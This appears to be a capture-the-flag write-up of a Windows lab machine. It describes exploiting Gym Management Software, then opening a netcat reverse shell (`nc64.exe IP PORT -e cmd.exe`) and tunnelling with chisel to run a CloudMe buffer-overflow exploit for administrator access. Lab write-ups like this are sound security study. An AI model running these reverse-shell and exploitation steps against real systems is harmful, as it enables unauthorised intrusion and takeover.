## PORT 8080 (HTTP)
Going over to `contact` tab we can it's using "Gym Management Software 1.0 " so let's google that and see what comes
We get an exploit for this so let's use it and see if it works or not
We got a shell but it's not stabilized so I am going to upload `nc64.exe` on the machine
Now to use netcat , `nc64.exe IP PORT -e cmd.exe`
We can grab the `user.txt` (the user flag) from here, I uploaded `winpeas` which is a executable you can use for enumerating windows machines
We can see that on local port 8888 there's `CloudMe` running, so let's search for an exploit
And there's the exploit we can use but issue ,it must be ran on that port and on windows machine there's no python installed so we need to port forward 8888 so we can run this exploit .In order to do that I will use `chisel` which is an awesome tool for port forwarding
https://github.com/jpillora/chisel
We need to get chisel both , the binary for linux and executable file (exe) for windows
We can see we have port 8888 listening on our local machine.
In the python script we need to generate our payload using encoder and with bad bytes in the raw format so I generated a windows reverse shell payload and saved it's output in a file so I can reaplce it with the payload in the script
Replace the payload also replace `buf` with `payload` variable name so this is our script
```python

try:

s.connect((target,8888))
s.send(payload)
except Exception as e:
print(sys.exc_value)
```
Now let's run the script and also listen on the port we set in payload, I ran the exploit once but it didn't run , when I ran it for the second time ,I got the shell as `administartor`
